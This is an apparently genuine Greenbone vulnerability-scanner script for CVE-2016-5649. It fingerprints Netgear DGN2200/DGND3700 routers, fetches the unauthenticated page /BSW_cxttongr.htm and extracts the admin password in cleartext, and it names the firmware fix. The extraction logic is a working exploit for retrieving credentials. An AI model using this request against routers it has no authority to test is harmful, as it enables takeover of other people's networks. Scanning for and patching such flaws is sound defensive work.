Netgear DGN2000, DGND3700 Password Disclosure Vulnerability

# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.106497");
  script_version("2023-07-25T05:05:58+0000");
  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2017-01-06 12:45:06 +0700 (Fri, 06 Jan 2017)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2019-10-09 23:18:00 +0000 (Wed, 09 Oct 2019)");

  script_cve_id("CVE-2016-5649");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Netgear DGN2000, DGND3700 Password Disclosure Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2017 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 8080);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Netgear DGN2200 and DGND3700 are prone to an admin password disclosure
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a HTTP request and checks the response.");

  script_tag(name:"insight", value:"A vulnerability in the 'BSW_cxttongr.htm' page allows a remote
  unauthenticated attacker to access to read the admin password in cleartext.");

  script_tag(name:"impact", value:"An unauthenticated attacker can obtain the admin password.");

  script_tag(name:"affected", value:"Netgear DGN2200 and Netgear DGND3700.");

  script_tag(name:"solution", value:"Update for DGN2200 to firmware version 1.0.0.52 or later and for
  DGND3700 to firmware 1.0.0.28 or later.");

  script_xref(name:"URL", value:"https://cxsecurity.com/issue/WLB-2017010027");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port(default: 8080);

res = http_get_cache(port: port, item: "/");

if (res !~ 'Basic realm="NETGEAR.DGN(2200|D3700)')
  exit(0);

req =  http_get(port: port, item: "/BSW_cxttongr.htm");
res =  http_keepalive_send_recv(port: port, data: req);

passwd = eregmatch(pattern: '<b>Success "([^"]+)', string: res);
if ("Your wired connection to the Internet is working!" >< res && !isnull(passwd[1])) {
  report = "It was possible to obtain the admin password: " + passwd[1] + "\n";
  report += http_report_vuln_url(port: port, url: "/BSW_cxttongr.htm");
  security_message(port: port, data: report);
  exit(0);
}

exit(0);